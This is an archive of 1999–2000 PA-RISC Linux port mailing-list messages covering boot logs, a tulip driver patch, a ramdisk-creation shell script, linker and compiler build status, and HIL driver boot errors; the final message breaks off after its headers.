Jason Eckhardt wrote:
> 
> Boot test #4: This is essentially the same code as #3 but I have taken
> out some delays, modified the cache flush routines, and turned
...

Works on B132L (early version B-class). Will try it on a newer
C-class next.

One gripe: The test code doesn't automatically reboot the box.
I use remote consoles and have to walk over to the machine room
to cycle power...remember I'm doing this in my "spare" time.

If/when a kernel debugger is working, rebooting from the debugger
would be a good thing. I think PDC will support this but don't
have a clue about the details.

grant


Firmware Version  5.8

Duplex Console IO Dependent Code (IODC) revision 1

Memory Test/Initialization Completed

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------
      0      132 MHz    Active                 Functional          64 KB
                                                                    1 MB ext


  Available memory (bytes)    :   67108864
  Good memory required (bytes):   67108864

  Primary boot path:    SESCSI.5.0
  Alternate boot path:  SESCSI.6.0
  Console path:         GRAPHICS(0)
  Keyboard path:        PS2
...
Main Menu: Enter command > pa

  Primary boot path:    SESCSI.5.0

  Alternate boot path:  SESCSI.6.0

  Console path:         GRAPHICS(0)

  Keyboard path:        PS2

Main Menu: Enter command > bo alt
Interact with IPL (Y, N, Q)?> n

Booting...
Boot IO Dependent Code (IODC) revision 153


HARD Booted.

------------------------------------------------------------------------------

PARISC/Linux Bootstrap Version 0.2 (non-interactive)
By Jason Eckhardt
Built Thu Mar 11 16:01:50 CST 1999 by jason@sathanas

IPL_DEBUG: Page zero parameters:
  P0_IMM_max_mem:          67108864 (64 MB)
  P0_BOOTCPU_10msec:       1320000 (132 MHz)
  P0_BOOTCPU_mem_free:     0x00008000
  P0_BOOTCPU_hpa:          0xFFFBE000
  P0_BOOTCPU_pdc:          0x00004800
  P0_COUT_iodc_io:         0x00008000
  P0_CIN_iodc_io:          0x00008000
  P0_BOOTDEV_iodc_io:      0x00012000
  P0_COUT_class:           0x00000007
  P0_CIN_class:            0x00000007
  P0_BOOTDEV_class:        0x00000001
Reading parameters...done.
Size = 28672 bytes, entry = 0x00001000, location = 0x0002B040.
Loading kernel...done.
Transferring control to kernel.

*********************************************************

VMLINUX 0.0: Dummy kernel image loaded and executing!


It is now safe to reboot.
[ couldn't copy the ASCII animation]

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715 problem
Date: 25 Jan 2000 19:43:06 +0100
Organization: mkp.net
Lines: 16
Approved: news@gmane.org
Message-ID: <yq1puuq801x.fsf@leyland.socsci.auc.dk>
References: <Pine.LNX.4.10.10001241636160.3967-100000@grasshopper.thepuffingroup.com> <Pine.HPX.4.21.0001251927060.15648-200000@gamgee.ntc.nokia.com> <20000125142243.B32390@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618743 29819 80.91.229.3 (22 Nov 2014 01:12:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:23 +0000 (UTC)
To: Hannu Martikka <martikka@stybba.ntc.nokia.com>,
        parisc-linux@thepuffingroup.com
Original-X-From: mkp@socsci.auc.dk  Tue Jan 25 12:42:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA16815
	for <parisc-linux@puffin.external.hp.com>; Tue, 25 Jan 2000 12:42:19 -0700
Original-Received: (qmail 28555 invoked by uid 15267); 25 Jan 2000 18:43:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28535 invoked from network); 25 Jan 2000 18:43:11 -0000
Original-Received: from bentley.socsci.auc.dk (130.225.60.48)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2000 18:43:11 -0000
Original-Received: from leyland.socsci.auc.dk ([130.225.60.69])
	by bentley.socsci.auc.dk with esmtp (Exim 3.11 #3)
	id 12DAuh-0002Ft-00; Tue, 25 Jan 2000 19:42:03 +0100
Original-Received: (from mkp@localhost)
	by leyland.socsci.auc.dk (8.9.3+Sun/8.9.1) id TAA12635;
	Tue, 25 Jan 2000 19:43:06 +0100 (MET)
Original-Sender: mkp@socsci.auc.dk
In-Reply-To: willy@thepuffingroup.com's message of "Tue, 25 Jan 2000 14:22:43 -0500"
Original-Lines: 15
User-Agent: Gnus/5.070098 (Pterodactyl Gnus v0.98) XEmacs/21.1 (Bryce Canyon)
Xref: news.gmane.org gmane.linux.ports.parisc:6744

>>>>> "willy" == willy  <willy@thepuffingroup.com> writes:

>> Also I wonder why it doesn't recognice the Model/CPU-type? Even the
>> size of memory is incorrent (256). 

We've run into quite a few problems on machines with plenty of memory
the last couple of weeks so we are currently using 128 MB as cutoff
value.

I just fixed it so that it will output the correct memsize no matter
which limits we enforce during development. Pure cosmetics, though...

-- 
Martin Kasper Petersen			BOFH, IC1&2, Aalborg University, DK
mailto:mkp@SunSITE.auc.dk		http://SunSITE.auc.dk/~mkp/


From - Thu Nov 08 21:11:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] progress on tulip driver
Date: Tue, 25 Jan 2000 14:01:55 -0500
Organization: Just Another Linux Hacker
Lines: 48
Approved: news@gmane.org
Message-ID: <388DF323.7B9EF164@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------D0BD82966A7539A1A823BCA3"
X-Trace: ger.gmane.org 1416618744 29822 80.91.229.3 (22 Nov 2014 01:12:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mang@linuxcare.com  Tue Jan 25 13:01:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA17238
	for <parisc-linux@puffin.external.hp.com>; Tue, 25 Jan 2000 13:01:39 -0700
Original-Received: (qmail 9721 invoked by uid 15267); 25 Jan 2000 19:02:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9694 invoked from network); 25 Jan 2000 19:02:30 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2000 19:02:30 -0000
Original-Received: (qmail 5960 invoked from network); 25 Jan 2000 19:01:21 -0000
Original-Received: from unknown (HELO linuxcare.com) (216.208.98.2)
  by relay1.pair.com with SMTP; 25 Jan 2000 19:01:21 -0000
X-pair-Authenticated: 216.208.98.2
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6745

This is a multi-part message in MIME format.
--------------D0BD82966A7539A1A823BCA3
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I just committed some changes to the tulip driver that should let you
read a MAC on the bultin tulip on the A180 -- please let me know if this
doesn't work on other machines.  You need to apply the attached patch
since check_region doesn't understand our fudged PCI I/O addresses.  You
can type "in la" from the boot menu to get the MAC of the builtin lan
adapter.

I suspect that the tulip code is still broken on pa20 boxen because of
the fudged addresses.

Thanks to Grant for fixing the Dino code that I was having problems
with.

	- Mike.
--------------D0BD82966A7539A1A823BCA3
Content-Type: text/plain; charset=us-ascii;
 name="tulip.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="tulip.diff"

Index: tulip.c
===================================================================
RCS file: /home/cvs/parisc/linux-2.3/drivers/net/tulip.c,v
retrieving revision 1.3
diff -u -r1.3 tulip.c
--- tulip.c	2000/01/25 19:48:06	1.3
+++ tulip.c	2000/01/25 19:48:52
@@ -513,7 +513,10 @@
 
 		/* Avoid already found cards */
 		if (check_region(pci_ioaddr, tulip_tbl[chip_idx].io_size))
-			continue;
+/*XXXmang			continue; */
+			printk("tulip_probe: warning, region 0x%x size 0x%x not available, continuing anyway\n",
+				   pci_ioaddr, tulip_tbl[chip_idx].io_size);
+		
 
 		pcibios_read_config_word(pci_bus, pci_device_fn,
 								 PCI_COMMAND, &pci_command);

--------------D0BD82966A7539A1A823BCA3--


From - Thu Nov 08 21:11:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Creating Ramdisks
Date: Tue, 25 Jan 2000 18:46:41 -0500
Lines: 100
Approved: news@gmane.org
Message-ID: <20000125184641.C32390@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618744 29827 80.91.229.3 (22 Nov 2014 01:12:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Tue Jan 25 16:45:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA18641
	for <parisc-linux@puffin.external.hp.com>; Tue, 25 Jan 2000 16:45:26 -0700
Original-Received: (qmail 2577 invoked by uid 15267); 25 Jan 2000 22:46:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2566 invoked from network); 25 Jan 2000 22:46:19 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2000 22:46:19 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id SAA01785
	for parisc-linux@thepuffingroup.com; Tue, 25 Jan 2000 18:46:41 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6746


How to Create A Suitable Ramdisk.

several people have asked how to do it.  So here you go:

You will require One (1) Linux machine and the root password for it.

--- begin ---

#!/bin/sh

FILE=/tmp/ramdisk.bin
MOUNT=/mnt/ramdisk

# (0) Ensure the mount point exists.

if [ ! -d $MOUNT ]; then
  mkdir $MOUNT;
fi

# (1) Create a ramdisk of appropriate size.

dd if=/dev/zero of=$FILE bs=1024 count=400

# (2) Create a filesystem in it.

mke2fs $FILE

# (3) Mount it

mount -o loop $FILE $MOUNT

# (4) copy files into it.

echo Now copy your files into $MOUNT
bash

# (5) unmount

unmount $FILE

--- end ---

Ensure that you have /dev/console, /sbin/init, /dev/tty0 and a /proc
directory is probably also wise.  It's probably easiest to copy them
from a ramdisk already available, but here's an ls -lR of one:

# ls -lR /mnt/cdrom2
/mnt/cdrom2:
total 15
drwxrwxrwx   2 root     root         1024 Oct 18 13:23 dev
drwxrwxrwx   2 root     root        12288 Aug 22 15:12 lost+found
drwxrwxr-x   2 root     root         1024 Oct 19 12:21 proc
drwxrwxrwx   2 root     root         1024 Jan 24 17:26 sbin

/mnt/cdrom2/dev:
total 0
crwxrwxrwx   1 root     tty        5,   1 Oct 18 13:23 console
crwxrwxrwx   1 root     tty        4,   0 Oct 18 13:23 tty0
crwxrwxrwx   1 root     tty        4,   1 Oct 18 13:23 tty1
crwxrwxrwx   1 root     tty        4,   2 Oct 18 13:23 tty2
crwxrwxrwx   1 root     tty        4,   3 Oct 18 13:23 tty3
crwxrwxrwx   1 root     tty        4,   4 Oct 18 13:23 tty4
crwxrwxrwx   1 root     tty        4,   5 Oct 18 13:23 tty5
crwxrwxrwx   1 root     tty        4,   6 Oct 18 13:23 tty6
crwxrwxrwx   1 root     tty        4,   7 Oct 18 13:23 tty7
crwxrwxrwx   1 root     tty        4,   8 Oct 18 13:23 tty8
crwxrwxrwx   1 root     sys        7,   0 Oct 18 13:23 vcs0
crwxrwxrwx   1 root     sys        7,   1 Oct 18 13:23 vcs1
crwxrwxrwx   1 root     sys        7,   2 Oct 18 13:23 vcs2
crwxrwxrwx   1 root     sys        7,   3 Oct 18 13:23 vcs3
crwxrwxrwx   1 root     sys        7,   4 Oct 18 13:23 vcs4
crwxrwxrwx   1 root     sys        7,   5 Oct 18 13:23 vcs5
crwxrwxrwx   1 root     sys        7,   6 Oct 18 13:23 vcs6
crwxrwxrwx   1 root     sys        7,   7 Oct 18 13:23 vcs7
crwxrwxrwx   1 root     sys        7,   8 Oct 18 13:23 vcs8
crwxrwxrwx   1 root     sys        7, 128 Oct 18 13:23 vcsa
crwxrwxrwx   1 root     sys        7, 129 Oct 18 13:23 vcsa1
crwxrwxrwx   1 root     sys        7, 130 Oct 18 13:23 vcsa2
crwxrwxrwx   1 root     sys        7, 131 Oct 18 13:23 vcsa3
crwxrwxrwx   1 root     sys        7, 132 Oct 18 13:23 vcsa4
crwxrwxrwx   1 root     sys        7, 133 Oct 18 13:23 vcsa5
crwxrwxrwx   1 root     sys        7, 134 Oct 18 13:23 vcsa6
crwxrwxrwx   1 root     sys        7, 135 Oct 18 13:23 vcsa7
crwxrwxrwx   1 root     sys        7, 136 Oct 18 13:23 vcsa8

/mnt/cdrom2/lost+found:
total 0

/mnt/cdrom2/proc:
total 0

/mnt/cdrom2/sbin:
total 1036
-rwxr-xr-x   1 willy    guests     245760 Jan 18 02:46 ab
-rwxr-xr-x   1 willy    guests     237568 Jan 18 02:46 hellow
-rwxr-xr-x   2 root     root       283957 Jan 18 02:31 init
-rwxr-xr-x   2 root     root       283957 Jan 18 02:31 sash



From - Thu Nov 08 21:11:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dave O'Neill" <doneill@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SOM Linker Status
Date: Tue, 25 Jan 2000 20:23:57 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10001252013090.14868-100000@boilermaker.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618744 29831 80.91.229.3 (22 Nov 2014 01:12:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: doneill@linuxcare.com  Tue Jan 25 19:16:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA19616
	for <parisc-linux@puffin.external.hp.com>; Tue, 25 Jan 2000 19:16:09 -0700
Original-Received: (qmail 24438 invoked by uid 15267); 26 Jan 2000 01:17:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24414 invoked from network); 26 Jan 2000 01:17:00 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2000 01:17:00 -0000
Original-Received: (qmail 17132 invoked from network); 26 Jan 2000 01:21:34 -0000
Original-Received: from unknown (HELO boilermaker.thepuffingroup.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 26 Jan 2000 01:21:34 -0000
X-Sender: dmo@boilermaker.thepuffingroup.com
Xref: news.gmane.org gmane.linux.ports.parisc:6747


The SOM linker now compiles and runs on HPUX.  I've only tested it against
itself, but it can link its object files into a linker that can be used to
link its own object files, which...  you get the point.   I'll hit it with
more exhaustive tests later, but it seems to be OK at this point.  The
working code is in CVS.

To get it running on x86, I'm still tackling the byteorder issues that pop
up.  The only troublesome part of this is the huge number of bitfields
that get read from the object files as a stream of characters directly
into various structs.  There don't seem to be any more serious issues on
x86, though, so it shouldn't be long before we have a working SOM linker.

Dave
-- 
Dave O'Neill, Senior Linux Consultant, Linuxcare, Inc.
doneill@linuxcare.com, http://www.linuxcare.com/
Linuxcare. At the center of Linux.




From - Thu Nov 08 21:11:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] egcs 2.9-hppa release
Date: Wed, 26 Jan 2000 09:50:21 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <E12DVe9-0000cu-00@endor.fc.hp.com>
References: <20000124010153.D8024@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618745 29833 80.91.229.3 (22 Nov 2014 01:12:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Wed Jan 26 10:50:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA26629
	for <parisc-linux@puffin.external.hp.com>; Wed, 26 Jan 2000 10:50:33 -0700
Original-Received: (qmail 27926 invoked by uid 15267); 26 Jan 2000 16:51:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27911 invoked from network); 26 Jan 2000 16:51:25 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2000 16:51:25 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by palrel3.hp.com (Postfix) with ESMTP id B88B8671
	for <parisc-linux@thepuffingroup.com>; Wed, 26 Jan 2000 08:51:23 -0800 (PST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 2.05 #1 (Debian))
	id 12DVe9-0000cu-00; Wed, 26 Jan 2000 09:50:21 -0700
In-reply-to: Your message of "Mon, 24 Jan 2000 01:01:53 PST."
             <20000124010153.D8024@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6748


I built the pa1.1 compiler from these bits but am unable to build
the pa2.0w compiler.  It dies when xgcc tries to compile gcc/libgcc2.c
with a littany of nasty errors, many like this:

In file included from tm.h:6,
     from ../../src/gcc/config/pa/xm-pa64hpux.h:46,
      from tconfig.h:5,
       from ../../src/gcc/libgcc2.c:33:
       ../../src/gcc/config/pa/pa.h:29: overflow in enumeration values
       ../../src/gcc/config/pa/pa.h:42: overflow in enumeration values

I used 'configure --prefix=/opt/puffin --enable-languages=c,c++' and
which figured out on its own to build the 2.0w compiler.

No luck building on hp-ux 11.0 on a C3000.

Hints?

	-Paul Bame


From - Thu Nov 08 21:11:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot info from 715/64
Date: Wed, 26 Jan 2000 13:27:24 -0500 (EST)
Lines: 44
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0001261309080.4910-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618745 29837 80.91.229.3 (22 Nov 2014 01:12:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Wed Jan 26 12:26:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA27676
	for <parisc-linux@puffin.external.hp.com>; Wed, 26 Jan 2000 12:26:55 -0700
Original-Received: (qmail 10696 invoked by uid 15267); 26 Jan 2000 18:27:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10682 invoked from network); 26 Jan 2000 18:27:47 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2000 18:27:47 -0000
Original-Received: (qmail 15756 invoked from network); 26 Jan 2000 18:27:46 -0000
Original-Received: from mojo.calyx.net (HELO mojo) (t63rqdbes9qr8x8zcq3t@208.132.136.2)
  by mail.calyx.net with SMTP; 26 Jan 2000 18:27:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:6749



Well, I finally got past the "!." and into the kernel proper.
I don't know whether it was a small number of updates from
CVS, or something was wedged in the build system.  I was
trying to track the problem by putting in kernel halts
(with the handy rotating LEDS function), and the kernel
when further with them in, than without them.  So I took them
out and suddenly I get all the way to pagetable_init.

Anyway, In case it is of any use, here's the CPU id from my machine:

FP CCR was 0x0, will be set to 0xc0
model 000060a0 00000481 00000000 00000000 77c0cada 
00000000 00000004 00000072 00000072
vers 0000000c

[...lots of stuff about "unknown" CPU info]

Searching for devices in PDC firmware...   an older box...
Found devices:
1. Mirage Jr GSC Builtin Graphics (10) at 0xf8000000, versions 0x12,
0x0, 0x85, 0x0, 0x0

[...]  more devices, some of which I don't have.

15. Mirage Jr (715/64) (0) at 0xfffbe000 versions 0x60a, 0x0, 0x4, 0x0,
0x81
16. Mirage Jr (1) at 0xfffbf000, vesions 0x4a, 0x0, 0x9, 0x0, 0x0
That's a total of 16 devices.
Linux version 2.3.29 (root@parisc) (gcc version egcs-2.91.60 19981201
(egcs-1.1.1 release)) #22 Wed Jan 26 12:44:21 EST 2000
init_bootmem 679 8192
free_bootmem 002a66bc 0ad59944
d_conf 61402000
initrd: c01cd000-c0231000
command_line: /stand/vmlinux HOME=/ TERM=linux console=tty

pagetable_init


--
Brian S. Julin


From - Thu Nov 08 21:11:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot info from 715/64
Date: Wed, 26 Jan 2000 14:21:15 -0500
Organization: The Puffins at Linuxcare
Lines: 22
Approved: news@gmane.org
Message-ID: <388F492B.1E8EF289@linuxcare.com>
References: <Pine.BSO.4.21.0001261309080.4910-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618745 29842 80.91.229.3 (22 Nov 2014 01:12:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: adevries@linuxcare.com  Wed Jan 26 13:13:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA28042
	for <parisc-linux@puffin.external.hp.com>; Wed, 26 Jan 2000 13:13:56 -0700
Original-Received: (qmail 15629 invoked by uid 15267); 26 Jan 2000 19:14:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15612 invoked from network); 26 Jan 2000 19:14:47 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2000 19:14:47 -0000
Original-Received: from linuxcare.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id OAA23467;
	Wed, 26 Jan 2000 14:21:16 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6750

"Brian S. Julin" wrote:
> Searching for devices in PDC firmware...   an older box...
> Found devices:
> 1. Mirage Jr GSC Builtin Graphics (10) at 0xf8000000, versions 0x12,
> 0x0, 0x85, 0x0, 0x0
> 
> [...]  more devices, some of which I don't have.
> 
> 15. Mirage Jr (715/64) (0) at 0xfffbe000 versions 0x60a, 0x0, 0x4, 0x0,
> 0x81
> 16. Mirage Jr (1) at 0xfffbf000, vesions 0x4a, 0x0, 0x9, 0x0, 0x0
> That's a total of 16 devices.

Which ones don't you have?  Could you paste the entire list?

- Alex

-- 
Alex deVries
Director of Professional Services
The Puffins at Linuxcare


From - Thu Nov 08 21:11:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/33 and HIL driver
Date: Thu, 27 Jan 2000 03:24:27 -0800 (PST)
Lines: 20
Approved: news@gmane.org
Message-ID: <20000127112427.11602.qmail@web507.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618745 29843 80.91.229.3 (22 Nov 2014 01:12:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Thu Jan 27 05:23:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA00861
	for <parisc-linux@puffin.external.hp.com>; Thu, 27 Jan 2000 05:23:33 -0700
Original-Received: (qmail 7464 invoked by uid 15267); 27 Jan 2000 11:24:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7457 invoked from network); 27 Jan 2000 11:24:28 -0000
Original-Received: from web507.mail.yahoo.com (128.11.68.74)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2000 11:24:28 -0000
Original-Received: (qmail 11603 invoked by uid 60001); 27 Jan 2000 11:24:27 -0000
Original-Received: from [149.234.12.1] by web507.mail.yahoo.com; Thu, 27 Jan 2000 03:24:27 PST
Xref: news.gmane.org gmane.linux.ports.parisc:6751

I have seen the shellprompt on my 715/33 using the CVS
version 20000125 and defconfig (and removing the debug
printk's from sched.c + system.h). But activating
CONFIG_HIL leads to the following boot messages:

pagetable_init
kernel BUG at bootmem.c:163!
kernel BUG at bootmem.c:203!

I have read a previous message concerning problems
with the HIL driver. So my question : is the driver
still not ready for Linux 2.3 and is someone working
on that ?

Ulrich
__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com


From - Thu Nov 08 21:11:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33 and HIL driver
Date: Thu, 27 Jan 2000 8:50:04 PST
Lines: 124
Approved: news@gmane.org
Message-ID: <200001271650.IAA24885@chrome.rose.hp.com>
References: <20000127112427.11602.qmail@web507.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618746 29850 80.91.229.3 (22 Nov 2014 01:12:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: ulrich_strelow@yahoo.com (Ulrich Strelow)
Original-X-From: kirkb@chrome.rose.hp.com  Thu Jan 27 10:47:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA02539
	for <parisc-linux@puffin.external.hp.com>; Thu, 27 Jan 2000 10:47:23 -0700
Original-Received: (qmail 22995 invoked by uid 15267); 27 Jan 2000 16:48:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22981 invoked from network); 27 Jan 2000 16:48:18 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2000 16:48:18 -0000
Original-Received: from chrome.rose.hp.com (chrome.rose.hp.com [15.8.150.209])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 46A84147D9; Thu, 27 Jan 2000 11:48:16 -0500 (EST)
